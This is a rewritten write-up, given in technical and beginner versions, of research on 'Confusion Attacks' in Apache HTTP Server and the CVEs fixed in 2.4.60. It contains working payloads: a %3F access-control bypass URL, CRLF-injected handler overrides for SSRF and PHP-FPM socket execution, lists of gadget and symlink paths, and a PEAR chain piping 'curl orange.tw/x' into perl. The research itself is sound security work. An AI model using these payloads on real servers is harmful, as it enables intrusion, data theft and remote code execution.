Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!
The article describes architectural confusion attacks in the Apache HTTP Server where modules disagree about the meaning of shared request fields such as the filename, DocumentRoot and handler. By exploiting these ambiguities an attacker could bypass file-based access control and authentication, disclose server-side source code, reach files outside the web root, and in some cases escalate to remote code execution.
Published on blog.orange.tw
📌 [繁體中文 | English ]
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Apache HTTP Server (Httpd) is built out of modules. The official documentation lists 136 modules, and roughly half of them are either enabled by default or commonly used by websites. Every request is carried through the server inside a single large request_rec structure, defined in include/httpd.h. As a request moves through the phases, modules pass that structure from one to the next, and each module is free to modify any field in it.

That design works when a few modules cooperate. The research here starts from the observation that hundreds of modules, written by different people over many years of refactoring, do not fully understand each other's assumptions. When one module writes a field it considers unimportant, but which another module treats as authoritative, the second module can be made to take a decision the first one never intended. The author calls this class of bug a Confusion Attack and splits it into three kinds:
- Filename Confusion
- DocumentRoot Confusion
- Handler Confusion
| CVE | Description |
|---|---|
| CVE-2024-38472 | Apache HTTP Server on Windows UNC SSRF |
| CVE-2024-39573 | Apache HTTP Server proxy encoding problem |
| CVE-2024-38477 | Crash resulting in Denial of Service in mod_proxy via a malicious request |
| CVE-2024-38476 | Apache HTTP Server may use exploitable/malicious backend application output to run local handlers via internal redirect |
| CVE-2024-38475 | Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path |
| CVE-2024-38474 | Apache HTTP Server weakness with encoded question marks in backreferences |
| CVE-2024-38473 | Apache HTTP Server proxy encoding problem |
| CVE-2023-38709 | Apache HTTP Server: HTTP response splitting |
| CVE-2024-?????? | [redacted] |
They were reported through the official security mailing list and addressed in the 2.4.60 update published on 2024-07-01. The research was presented at Black Hat USA 2024, HITCON and OrangeCon.
Setup
The techniques are demonstrated against Httpd configurations and against packages shipped by Ubuntu and Debian, whose default configuration allows access to /usr/share. Several primitives depend on the target running PHP, either through mod_php or through PHP-FPM behind mod_proxy_fcgi. The Handler Confusion demonstrations assume a CGI script whose response headers can be influenced, for example through CRLF injection, and the RCE chain uses the official PHP Docker image, which ships PEAR.
No accounts or credentials are needed for the primitives themselves; the preconditions are configuration-dependent and are stated with each step below.
Finding it
The starting point is the request_rec structure and the way modules share it. The author focused on the relationships and interactions between modules rather than on any single module. If a module overwrites a field that another module later trusts, or if two modules disagree about what a field means, the disagreement itself becomes the vulnerability.
Three fields turned out to be fruitful: r->filename, the DocumentRoot handling in mod_rewrite, and the pair r->handler / r->content_type. The rest of this article walks through each confusion in turn.
Exploitation
Filename Confusion: the field that is both a path and a URL
r->filename should hold a filesystem path. Some modules, however, treat it as a URL. mod_rewrite is the first of them: a RewriteRule substitution target can be either a filesystem path or a URL, and while rewriting, mod_rewrite forcibly treats every result as a URL, truncating the path after a question mark %3F. The relevant code is at modules/mappers/mod_rewrite.c#L4141.
Step 1: Path Truncation
Consider a rule that opens a profile based on the username followed by /user/:
Because the rewritten result is treated as a URL, a request whose username contains an encoded question mark truncates the tail /profile.yml. The server opens the path up to the ? instead of the intended profile file. On its own this looks like a minor flaw, but it reappears later as the key that unlocks arbitrary file access.
Step 2: Misleading RewriteFlag assignment
A second use of the same truncation targets RewriteFlags. A sysadmin might manage handlers like this:
If a request ends in .php, the rule attaches the mod_php handler (the same mechanism can set an environment variable or a content type). The truncation happens after the regular expression match, so an attacker can make the rule apply flags to requests it was never meant for by inserting a ?. A GIF image containing PHP code can then be executed as a backdoor through a crafted request.
Step 3: ACL bypass through mod_proxy
The second primitive of Filename Confusion comes from mod_proxy. Treating r->filename as a URL makes sense for a proxy, but most other modules treat the same field as a filesystem path. When access control is file-based, the disagreement lets a request slip past it.
A classic configuration restricts a single file with the Files directive, for example admin.php. Under a default PHP-FPM installation, this can be bypassed directly. The request looks like:
http://server/admin.php%3Fooo.php
During the request lifecycle the authentication module compares the requested filename with the protected file. At that point r->filename is admin.php?ooo.php, which does not match admin.php, so the module concludes that no authentication is required. The PHP-FPM configuration, however, forwards everything ending in .php to mod_proxy through SetHandler:
mod_proxy rewrites r->filename into a URL and hands it to mod_proxy_fcgi:
proxy:fcgi://[redacted]:9000/var/www/html/admin.php?ooo.php
PHP-FPM receives the filename in this unusual shape and handles it specially. The logic is at sapi/fpm/fpm/fpm_main.c#L1044: it normalises the filename and splits it at the question mark, extracting /var/www/html/admin.php for execution. The result is that every authentication or access control based on the Files directive for a single PHP file is at risk when PHP-FPM is in use. The author lists real configurations found on GitHub that fall to a single ?: a phpinfo() restricted to the internal network, Adminer blocked by .htaccess, a protected xmlrpc.php, and CLI tools prevented from direct access.
DocumentRoot Confusion
Consider this configuration:
When you visit http://server/html/about, which file does Httpd open: /about.html under the root directory, or /var/www/html/about.html under the DocumentRoot?

The answer is both. For any RewriteRule located in Server Config or a VirtualHost block, Httpd always tries the path with the DocumentRoot and the path without it. The code is at modules/mappers/mod_rewrite.c#L4939. Usually the version without the DocumentRoot does not exist, so the DocumentRoot version wins. But the behaviour means that if the prefix of the substitution is controllable, paths outside the web root can be reached deliberately.
Many real rules are affected, including examples from the official Apache documentation, rules written for caching, rules that hide file extensions, rules that serve compressed versions of static files, rules that redirect old URLs to the main site, and rules that return 200 for CORS preflight requests. The extension in the rule (.html, .gz) is the only restriction, and the Path Truncation primitive from Filename Confusion removes it, giving access to arbitrary files on the filesystem.
Step 4: Server-side source code disclosure
Httpd decides whether a file is a server-side script based on the current directory or virtual host configuration. Reaching the file through an absolute path confuses that decision, so content that should have been executed is returned as source.
For CGI, mod_cgi binds the CGI folder to a URL prefix through ScriptAlias. Accessing a CGI file by its absolute path changes the URL prefix and leaks the source.
For PHP, the effect appears when PHP is enabled only for specific directories or virtual hosts, which is common in shared hosting. If [redacted] allows PHP and [redacted] only serves static files on the same server, a sensitive config.php can be disclosed through the virtual host that does not support PHP.
Step 5: Local gadgets under /usr/share
An obvious question is whether an unsafe RewriteRule can read /etc/passwd. The server does check that the file exists, but the built-in access control blocks the request. The default configuration template contains Require all denied for the root directory /. Debian and Ubuntu, however, allow /usr/share by default, so the next step is to find everything useful inside that directory: tutorials, documentation, unit test files, and code from PHP, Python and PHP modules.

Information disclosure comes first. If websocketd is installed, its package includes /usr/share/doc/websocketd/examples/php/dump-env.php, which leaks environment variables when a PHP environment is present. Services such as Nginx and Jetty place their default web roots under /usr/share as well, exposing application information such as Jetty's web.xml:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
A demonstration uses setup.php from the Davical package, a read-only copy, to leak the output of phpinfo().

For XSS, the LibreOffice help files installed by default on Ubuntu Desktop contain a language switch feature that can be abused. The path is /usr/share/libreoffice/help/help.html. Even a target with no web application deployed can therefore be turned into XSS through files that ship with the operating system.

For local file inclusion, tutorials and debug consoles of installed packages serve as gadgets:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
A simple example exploits proxy.php from jQuery-jFeed to read /etc/passwd.

For SSRF, MagpieRSS ships magpie_debug.php:
- /usr/share/php/magpierss/scripts/magpie_debug.php
For RCE, the primitive can reapply known attacks. An old PHPUnit left behind by development or a third-party dependency can be exploited with CVE-2017-9841 to execute arbitrary code. A read-only copy of phpLiteAdmin, whose default password is admin, is another route.
Step 6: Jailbreak out of /usr/share
Debian and Ubuntu enable FollowSymLinks by default, and other distributions allow symbolic links implicitly. Any package with a symbolic link in its installation directory that points outside /usr/share becomes a stepping stone. The author lists these:
- Cacti Log:
/usr/share/cacti/site/->/var/log/cacti/ - Solr Data:
/usr/share/solr/data/->/var/lib/solr/data - Solr Config:
/usr/share/solr/conf/->/etc/solr/conf/ - MediaWiki Config:
/usr/share/mediawiki/config/->/var/lib/mediawiki/config/ - SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/->/etc/simplesamlphp/
Redmine shows a double hop. Its instances/ folder points to /var/lib/redmine/, and inside that, default/config/ points to /etc/redmine/default/, which holds the database settings and the secret key. Through an insecure RewriteRule and two symbolic links, the application secret key can be read. Redmine is a Ruby on Rails application, and the content of secret_key.txt is the key used for signing and encryption. The next step is familiar from Rails attacks: embed malicious Marshal objects, sign and encrypt them with the known key, place them in cookies, and reach remote code execution through server-side deserialisation.

Handler Confusion
To run classic mod_php, both of these directives work:
The two names refer to different fields: r->handler and r->content_type. They are interchangeable because of code that has been in Httpd since its early development in 1996, at server/config.c#L420. Before ap_run_handler() is entered, if r->handler is empty, the value of r->content_type is used as the handler. That is why AddType and AddHandler behave identically.
Step 7: Overwrite the handler to disclose PHP source
When a target uses AddType to run PHP, a normal request for http://server/config.php causes mod_mime, during the type_checker phase, to copy the content type into r->content_type based on the extension. r->handler is never assigned, so ap_invoke_handler() uses r->content_type and calls mod_php.
If any module overwrites r->content_type before ap_invoke_handler(), the handler changes. Max Dmitriev described this at ZeroNights 2021: sending an incorrect Content-Length triggers an unexpected error, and the server returns the PHP source code. The cause is ModSecurity not handling the AP_FILTER_ERROR return value from the Apache Portable Runtime (APR) library, producing a double response. When the error occurs, Httpd tries to send an HTML error message and overwrites r->content_type with text/html.

Because ModSecurity mishandled the return value, the lifecycle that should have stopped continued, and the overwritten content type made files that should be processed as PHP be served as plain documents, exposing source code and sensitive settings. In theory every configuration based on Content-Type is affected, including php-cgi with mod_actions as in Max's slides, and pure mod_php with AddType.
The side effect was corrected as a request parser bug in Httpd 2.4.44, which treated the issue as fixed. The root cause, ModSecurity's error handling, remains, so the behaviour can be reproduced if another code path triggers AP_FILTER_ERROR. The issue was reported to ModSecurity through the official security mail on 6/20, and the Project Co-Leader suggested continuing in the original GitHub issue.
Further exploitation of this primitive exists but is withheld until the issue is fully fixed.
Step 8: Invoke arbitrary handlers through a server-side redirect
The deeper problem is that Httpd cannot distinguish the semantics of r->content_type: the field can be set by a directive during the request phase or used as the Content-Type header of the response. If the response's Content-Type can be controlled, the legacy code can be used to invoke any module handler. The obstacle is timing: modifications to r->content_type from the response happen after the legacy code.
RFC 3875, Section 6.2.2, provides the way around it. A CGI script can return a URI path and query string in a Location header, and the server should reprocess the request using that path. In mod_cgi (modules/generators/mod_cgi.c#L983), the script is executed and its output scanned to set headers such as Status and Content-Type. If the status is 200 and Location starts with /, the response is treated as a server-side redirect and processed internally. ap_internal_redirect_handler() (modules/http/http_request.c#L800) creates a new request structure, copies the current r->content_type into it, processes the lifecycle, and calls ap_invoke_handler(), where the legacy transformation happens. In a server-side redirect, control of the response headers therefore means invocation of any handler in Httpd.
All CGI implementations in Httpd follow this behaviour:
- mod_cgi
- mod_cgid
- mod_wsgi
- mod_uwsgi
- mod_fastcgi
- mod_perl
- mod_asis
- mod_fcgid
- mod_proxy_scgi
- …
Two real-world ways to trigger the redirect are CRLF injection in CGI response headers, which overwrites existing headers with new lines, and an SSRF that fully controls response headers, such as a project hosted on mod_wsgi like django-revproxy. The demonstrations below use the CRLF injection.
Step 9: Arbitrary handler to information disclosure
The built-in server-status handler is normally reachable only locally. Overwriting the content type makes it reachable remotely:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Step 10: Arbitrary handler to misinterpret scripts
An image with a legitimate extension can be turned into a PHP backdoor by naming mod_php as the handler:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/uploads/avatar.webp %0d%0a
Content-Type:application/x-httpd-php %0d%0a
%0d%0a
Step 11: Arbitrary handler to full SSRF
Calling mod_proxy to reach any protocol on any URL is straightforward:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://example.com/%3F %0d%0a
%0d%0a
This is a full-control SSRF: all request headers can be set and all responses read. One limitation is that mod_proxy adds an X-Forwarded-For header, which the metadata protection mechanisms of EC2 and GCP block.
Step 12: Arbitrary handler to a local Unix domain socket
mod_proxy can also reach local Unix domain sockets. This demonstration reaches PHP-FPM's socket to execute a PHP backdoor in /tmp/:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://[redacted]/tmp/ooo.php %0d%0a
%0d%0a
The author notes further potential, such as smuggling FastCGI inside HTTP or HTTPS, and leaves it to the reader.
Step 13: Arbitrary handler to RCE
The official PHP Docker image includes PEAR, and its Pearcmd.php entry point allows further exploitation, as described in Phith0n's article on Docker PHP LFI. The chain uses a command injection in run-tests:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://[redacted]/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

CRLF injection and header injection are often reported as XSS, and they can chain to account takeover through SSO, but as this chain shows, they can also lead to server-side RCE.
Other vulnerabilities
CVE-2024-38472: Windows UNC-based SSRF
The Windows implementation of apr_filepath_merge() allows UNC paths, which lets an attacker coerce NTLM authentication to any host. There are two triggering paths.
The first is the HTTP request parser. Direct triggering requires additional configuration, which often appears with Tomcat (mod_jk, mod_proxy_ajp) or with PATH_INFO. Because Httpd rewrote its core request parser after 2.4.49, versions above that need an additional configuration. Two %5C force Httpd to coerce NTLM authentication to an attacker-controlled server, and the SSRF can be converted into RCE through NTLM relay.

The second is the Type-Map, enabled by default in the Debian and Ubuntu distribution of Httpd. Uploading a .var file and setting its URI field to a UNC path also forces NTLM authentication to the attacker. The author calls this the second .var trick.
CVE-2024-39573: SSRF via full control of the RewriteRule prefix
When the prefix of a RewriteRule substitution target in Server Config or a VirtualHost is fully controllable, mod_proxy and its sub-modules can be invoked. A URL can delegate the request to mod_proxy. Administrators who test the rule properly would find such rules impractical, so the issue was originally reported together with another vulnerability as an exploit chain, but the security team treated the behaviour as a security boundary fix. After the patches, other researchers applied the same behaviour to Windows UNC and obtained another CVE.
Root cause
The common root cause is shared mutable state with ambiguous meaning. r->filename is documented as a filesystem path but is treated as a URL by mod_rewrite and mod_proxy, so access control decisions made on the path and the actual file opened can differ. mod_rewrite always tries both the DocumentRoot-prefixed and unprefixed path, which turns a controllable substitution prefix into filesystem access. r->content_type doubles as a directive-set handler and as a response header, and the 1996 fallback that copies it into the handler when r->handler is empty lets response headers select internal handlers, especially across a server-side redirect where the value is copied into the new request. The ModSecurity double response shows the same pattern: a module fails to stop the lifecycle on AP_FILTER_ERROR, and the error path overwrites a field another module trusts.
Existing defences did not stop these because the access control, the rewrite engine and the proxy each made locally reasonable decisions on a field whose meaning they did not share. The default Require all denied for / limits direct filesystem reads, but the Debian and Ubuntu allowance for /usr/share and the default FollowSymLinks reopen the path.
Impact
The primitives reach access control and authentication bypass for single files protected by Files under PHP-FPM, disclosure of CGI and PHP source code, information disclosure, XSS, LFI, SSRF and RCE, depending on the configuration and installed packages. The Redmine chain reaches RCE through a known secret key and Rails deserialisation. The Handler Confusion chains reach server-status, PHP execution of uploaded images, full-control SSRF, local Unix sockets and RCE through PEAR in the official PHP image. The Windows UNC issue coerces NTLM authentication and can be relayed to RCE. The author notes that the update is not backward compatible, so administrators who update without care may disrupt existing configurations and cause downtime.
Fix
The vulnerabilities were addressed in Httpd 2.4.60, published on 2024-07-01. The side effect was corrected as a request parser bug in 2.4.44, but the root cause in ModSecurity's error handling remains, and the issue was reported to ModSecurity on 6/20. Akamai released mitigation measures immediately after publication. The author believes that unless Httpd undergoes architectural improvements or adopts better development standards, more confusions will appear.
Variants to test
- Single-file
Filesprotection with PHP-FPM. Request the protected file with%3Fand a dummy suffix, as inadmin.php%3Fooo.php. A positive result is the protected script executing instead of a 403 or a login prompt. RewriteRulewith a controllable prefix. Try reaching a file outside the DocumentRoot through the rule, then append%3Fto drop the rule's extension. A positive result is the content of a file that the rule's extension should have prevented.- PHP enabled per virtual host. Request a PHP file through a virtual host that does not enable PHP. A positive result is the source code instead of execution.
/usr/sharegadgets. Request the listed paths (dump-env.php,setup.php,help.html,show-source.php,proxy.php,getcsv.php,magpie_debug.php). A positive result is environment variables,phpinfo()output, script execution, file contents or an outbound request.- Symbolic links under
/usr/share. Follow the listed links (Cacti, Solr, MediaWiki, SimpleSAMLphp, Redmine) to reach logs, configuration and secret keys. A positive result is content from outside/usr/share. AddTypebased PHP with a controllable response header. Trigger a double response or anotherAP_FILTER_ERRORpath. A positive result is PHP source code in the response.- CGI with CRLF injection or header-controlling SSRF. Set
Locationto a local path andContent-Typetoserver-status,application/x-httpd-php,proxy:...orproxy:unix:.... A positive result is the chosen handler running, for exampleserver-statusoutput, execution of an uploaded image, an outbound request, or execution through a local socket. - Windows targets. Send
%5Csequences through the request parser or upload a.varfile with a UNC URI. A positive result is an outbound NTLM authentication attempt to a host you control. - Fully controllable
RewriteRuleprefix. Craft a URL that delegates tomod_proxy. A positive result is the request being proxied to a destination of your choice.
What happened, in plain words
A security researcher spent time looking at the Apache HTTP Server, usually just called Httpd. Httpd is the software that many web servers run to answer browser requests. It is one of the oldest and most widely used pieces of web software in the world. The researcher found that Httpd is built in a way that lets an attacker make different parts of the server disagree with each other about what a request means. When those parts disagree, an attacker can slip past login checks, read files that should be secret, run code on the server, or make the server talk to other machines on the attacker's behalf.
The researcher grouped these bugs under a new name: Confusion Attacks. The idea is simple. Httpd is made of many small programs called modules. Each module does one job, like serving static files, running PHP, proxying requests, or checking passwords. They all pass a single shared bundle of information about the current request from one to the next. If one module writes something into that bundle that another module later trusts, and the two modules do not agree on what that something means, the second module can be tricked into doing the wrong thing.
The work produced nine vulnerability identifiers (called CVEs), was presented at Black Hat USA 2024, HITCON and OrangeCon, and was addressed in Httpd version 2.4.60, released on 2024-07-01. This article walks through the whole thing from the beginning, assuming you can use a browser and a computer and nothing more.
The background: what is Apache HTTP Server and why does it matter
When you type a web address into your browser, your browser sends a request to a server somewhere. That server is running software that listens for requests and sends back pages, images, or data. Apache HTTP Server (Httpd) is one of the most common pieces of software for that job. It has been around since the 1990s and runs a huge portion of the websites you visit.
Httpd is not one big program. It is a collection of modules. The official documentation lists 136 modules, and roughly half of them are either switched on by default or commonly used by real websites. Each module handles a specific task:
- One module serves plain files like images and HTML pages.
- One module runs PHP code (PHP is a programming language used to build dynamic websites).
- One module forwards requests to another server (this is called a proxy).
- One module checks whether a visitor is allowed to see a particular file.
- And so on.
When a request arrives, Httpd creates one big record describing everything about it: which file was asked for, what the browser sent, what the server decided to do, and so on. That record is called the request_rec structure. It is defined in a file called include/httpd.h in the Httpd source code. Every module reads from it and writes to it as the request moves through the server.

The image shows modules passing the shared request structure from one to the next, like players in a game of catch. Each module can change any value in that structure according to its own preferences.
This design works fine when a handful of modules cooperate. The researcher's starting observation was different: hundreds of modules, written by different people over many years of refactoring, do not fully understand each other's assumptions. When one module writes a field it considers unimportant, but which another module treats as authoritative, the second module can be made to take a decision the first one never intended. The researcher calls this class of bug a Confusion Attack and splits it into three kinds:
- Filename Confusion
- DocumentRoot Confusion
- Handler Confusion
The work produced nine vulnerabilities:
| CVE | Description |
|---|---|
| CVE-2024-38472 | Apache HTTP Server on Windows UNC SSRF |
| CVE-2024-39573 | Apache HTTP Server proxy encoding problem |
| CVE-2024-38477 | Crash resulting in Denial of Service in mod_proxy via a malicious request |
| CVE-2024-38476 | Apache HTTP Server may use exploitable/malicious backend application output to run local handlers via internal redirect |
| CVE-2024-38475 | Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path |
| CVE-2024-38474 | Apache HTTP Server weakness with encoded question marks in backreferences |
| CVE-2024-38473 | Apache HTTP Server proxy encoding problem |
| CVE-2023-38709 | Apache HTTP Server: HTTP response splitting |
| CVE-2024-?????? | [redacted] |
A CVE is a public identifier for a known security flaw. It lets everyone talk about the same bug without confusion. These nine were reported through the official security mailing list and addressed in the 2.4.60 update published on 2024-07-01.
What you need to follow along
The techniques are demonstrated against Httpd configurations and against packages shipped by Ubuntu and Debian, whose default configuration allows access to /usr/share. Several primitives depend on the target running PHP, either through mod_php (PHP running inside Httpd itself) or through PHP-FPM (a separate PHP process that Httpd forwards requests to) behind mod_proxy_fcgi. The Handler Confusion demonstrations assume a CGI script whose response headers can be influenced, for example through CRLF injection, and the RCE chain uses the official PHP Docker image, which ships PEAR.
No accounts or credentials are needed for the primitives themselves; the preconditions are configuration-dependent and are stated with each step below.
How the researcher found it
The starting point is the request_rec structure and the way modules share it. The researcher focused on the relationships and interactions between modules rather than on any single module. If a module overwrites a field that another module later trusts, or if two modules disagree about what a field means, the disagreement itself becomes the vulnerability.
Three fields turned out to be fruitful: r->filename, the DocumentRoot handling in mod_rewrite, and the pair r->handler / r->content_type. The rest of this article walks through each confusion in turn.
Filename Confusion: the field that is both a path and a URL
r->filename should hold a filesystem path. A filesystem path is the location of a file on the server's disk, like /var/www/html/index.html. Some modules, however, treat it as a URL. A URL is a web address, like http://example.com/page. These are two very different things, and mixing them up is the seed of the first confusion.
mod_rewrite is the first module that treats r->filename as a URL. mod_rewrite is the part of Httpd that lets an administrator rewrite one path into another. For example, an administrator might say "when someone asks for /old-page, actually serve /new-page". This is done with a directive called RewriteRule. A directive is a line of configuration that tells Httpd what to do.
The substitution target of a RewriteRule can be either a filesystem path or a URL. While rewriting, mod_rewrite forcibly treats every result as a URL, truncating the path after a question mark %3F. The relevant code is at modules/mappers/mod_rewrite.c#L4141.
A question mark in a URL marks the start of the query string, which is extra data passed to the server. In a filesystem path, a question mark is just a normal character. So when mod_rewrite treats a path as a URL, everything after the question mark is thrown away. That is the truncation.
Step 1: Path Truncation
Consider a rule that opens a profile based on the username followed by /user/:
Line by line:
RewriteRuleis the directive name. It tells Httpd "when a request matches the pattern on the left, rewrite it to the target on the right".^/user/([^/]+)/profile\.yml$is a regular expression, a pattern for matching text.^means "start of the path"./user/is literal text.([^/]+)captures one or more characters that are not a slash, and stores them in a variable called$1./profile\.ymlis literal text (the backslash escapes the dot so it means a literal dot, not "any character").$means "end of the path"./home/$1/profile.ymlis the target.$1is replaced with whatever the pattern captured. So a request for/user/alice/profile.ymlbecomes/home/alice/profile.yml.
Because the rewritten result is treated as a URL, a request whose username contains an encoded question mark truncates the tail /profile.yml. The server opens the path up to the ? instead of the intended profile file. On its own this looks like a minor flaw, but it reappears later as the key that unlocks arbitrary file access.
Step 2: Misleading RewriteFlag assignment
A second use of the same truncation targets RewriteFlags. A flag is an extra instruction attached to a rewrite rule, like "also set this handler" or "also set this environment variable". A sysadmin might manage handlers like this:
Line by line:
^/web/(.*\.php)$matches any path starting with/web/and ending in.php. The(.*)captures everything in between into$1./app/$1is the target: the captured part is placed after/app/.[H=application/x-httpd-php]is the flag.Hstands for handler. It tells Httpd "treat this file as PHP code".
If a request ends in .php, the rule attaches the mod_php handler (the same mechanism can set an environment variable or a content type). The truncation happens after the regular expression match, so an attacker can make the rule apply flags to requests it was never meant for by inserting a ?. A GIF image containing PHP code can then be executed as a backdoor through a crafted request.
Why does this matter? Because the rule was meant to only apply the PHP handler to files under /web/ that end in .php. By inserting a ? after a filename that does not end in .php, the attacker makes the pattern match anyway, and the flag is applied to a file that should never have been treated as code. The image is a legitimate image, but the server now runs it as a program.
Step 3: ACL bypass through mod_proxy
An ACL is an access control list: a rule that says who is allowed to see what. The second primitive of Filename Confusion comes from mod_proxy. Treating r->filename as a URL makes sense for a proxy, because a proxy's job is to forward requests to other URLs. But most other modules treat the same field as a filesystem path. When access control is file-based, the disagreement lets a request slip past it.
A classic configuration restricts a single file with the Files directive, for example admin.php. The Files directive says "apply this rule to this specific file". Under a default PHP-FPM installation, this can be bypassed directly. The request looks like:
http://server/admin.php%3Fooo.php
Line by line:
http://server/is the address of the server.admin.phpis the protected file.%3Fis the URL-encoded form of the question mark?. Browsers and servers encode special characters this way so they can travel safely inside a URL.ooo.phpis a dummy suffix that makes the request look like it is asking for a different file.
During the request lifecycle the authentication module compares the requested filename with the protected file. At that point r->filename is admin.php?ooo.php, which does not match admin.php, so the module concludes that no authentication is required. The PHP-FPM configuration, however, forwards everything ending in .php to mod_proxy through SetHandler:
Line by line:
<FilesMatch \.php$>opens a block that applies to any file whose name ends in.php.SetHandler "proxy:unix:/run/php/php-fpm.sock|fcgi://localhost"tells Httpd to hand these files to the proxy module, which will talk to PHP-FPM over a local socket at/run/php/php-fpm.sockusing the FastCGI protocol. A socket is a local communication channel between two programs on the same machine. FastCGI is a protocol for talking to PHP.</FilesMatch>closes the block.
mod_proxy rewrites r->filename into a URL and hands it to mod_proxy_fcgi:
proxy:fcgi://[redacted]:9000/var/www/html/admin.php?ooo.php
Line by line:
proxy:fcgi://says "use the FastCGI proxy".[redacted]:9000is the local address and port of the PHP-FPM process.[redacted]always means "this machine"./var/www/html/admin.php?ooo.phpis the path the proxy is asking PHP-FPM to run, with the dummy suffix still attached.
PHP-FPM receives the filename in this unusual shape and handles it specially. The logic is at sapi/fpm/fpm/fpm_main.c#L1044: it normalises the filename and splits it at the question mark, extracting /var/www/html/admin.php for execution. The result is that every authentication or access control based on the Files directive for a single PHP file is at risk when PHP-FPM is in use. The researcher lists real configurations found on GitHub that fall to a single ?: a phpinfo() restricted to the internal network, Adminer blocked by .htaccess, a protected xmlrpc.php, and CLI tools prevented from direct access.
Why does this work? Because the authentication module and the proxy module are looking at the same field and seeing two different things. The authentication module sees a filename that does not match the protected file. The proxy module sees a URL and forwards it. PHP-FPM then does the sensible thing for a URL and strips the query string, running the protected file. Nobody did anything wrong in isolation; the bug is in the disagreement.
DocumentRoot Confusion
DocumentRoot is the folder on disk that Httpd treats as the root of the website. If DocumentRoot is /var/www, then a request for /index.html serves /var/www/index.html. Consider this configuration:
Line by line:
DocumentRoot /var/wwwsets the website root to/var/www.RewriteRule ^/html/(.*)$ /$1.htmlsays: when a request starts with/html/, capture the rest and rewrite it to/<captured>.html.
When you visit http://server/html/about, which file does Httpd open: /about.html under the root directory, or /var/www/html/about.html under the DocumentRoot?

The image accompanies the question of which file Httpd actually opens.
The answer is both. For any RewriteRule located in Server Config or a VirtualHost block, Httpd always tries the path with the DocumentRoot and the path without it. The code is at modules/mappers/mod_rewrite.c#L4939. Usually the version without the DocumentRoot does not exist, so the DocumentRoot version wins. But the behaviour means that if the prefix of the substitution is controllable, paths outside the web root can be reached deliberately.
Many real rules are affected, including examples from the official Apache documentation, rules written for caching, rules that hide file extensions, rules that serve compressed versions of static files, rules that redirect old URLs to the main site, and rules that return 200 for CORS preflight requests. CORS is a browser mechanism that lets one website ask another for data; a preflight request is a small check the browser sends first. The extension in the rule (.html, .gz) is the only restriction, and the Path Truncation primitive from Filename Confusion removes it, giving access to arbitrary files on the filesystem.
Step 4: Server-side source code disclosure
Httpd decides whether a file is a server-side script based on the current directory or virtual host configuration. A virtual host is one website among several hosted on the same server. Reaching the file through an absolute path confuses that decision, so content that should have been executed is returned as source.
For CGI, mod_cgi binds the CGI folder to a URL prefix through ScriptAlias. CGI is an older way of running programs on a web server. Accessing a CGI file by its absolute path changes the URL prefix and leaks the source.
For PHP, the effect appears when PHP is enabled only for specific directories or virtual hosts, which is common in shared hosting. If [redacted] allows PHP and [redacted] only serves static files on the same server, a sensitive config.php can be disclosed through the virtual host that does not support PHP.
Why does this matter? Because source code often contains passwords, database connection strings, and other secrets. Seeing the source instead of the output is like being handed the recipe instead of the cake, and the recipe has the safe combination written on it.
Step 5: Local gadgets under /usr/share
A gadget in security is an existing piece of code on the system that an attacker can reuse for their own purpose. An obvious question is whether an unsafe RewriteRule can read /etc/passwd. /etc/passwd is a classic Unix file listing user accounts. The server does check that the file exists, but the built-in access control blocks the request. The default configuration template contains Require all denied for the root directory /. Debian and Ubuntu, however, allow /usr/share by default, so the next step is to find everything useful inside that directory: tutorials, documentation, unit test files, and code from PHP, Python and PHP modules.

The image accompanies the note that Debian and Ubuntu allow /usr/share by default, which opens the door to local gadgets.
Information disclosure comes first. If websocketd is installed, its package includes /usr/share/doc/websocketd/examples/php/dump-env.php, which leaks environment variables when a PHP environment is present. Environment variables are settings the operating system passes to programs, often including passwords and API keys. Services such as Nginx and Jetty place their default web roots under /usr/share as well, exposing application information such as Jetty's web.xml:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
A demonstration uses setup.php from the Davical package, a read-only copy, to leak the output of phpinfo().

The image accompanies the demonstration using setup.php from Davical to leak phpinfo() output. phpinfo() is a PHP function that prints a huge amount of information about the PHP installation, including configuration and paths.
For XSS, the LibreOffice help files installed by default on Ubuntu Desktop contain a language switch feature that can be abused. XSS stands for cross-site scripting: injecting code into a page so that a visitor's browser runs it. The path is /usr/share/libreoffice/help/help.html. Even a target with no web application deployed can therefore be turned into XSS through files that ship with the operating system.

The image accompanies the LibreOffice help file at /usr/share/libreoffice/help/help.html, which can be abused for XSS.
For local file inclusion, tutorials and debug consoles of installed packages serve as gadgets. Local file inclusion (LFI) means making a program read a file it was not supposed to read:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
A simple example exploits proxy.php from jQuery-jFeed to read /etc/passwd.

The image accompanies the jQuery-jFeed proxy.php gadget being used to read /etc/passwd.
For SSRF, MagpieRSS ships magpie_debug.php. SSRF stands for server-side request forgery: making the server send a request to a destination of the attacker's choosing, often to reach internal systems the attacker cannot reach directly:
- /usr/share/php/magpierss/scripts/magpie_debug.php
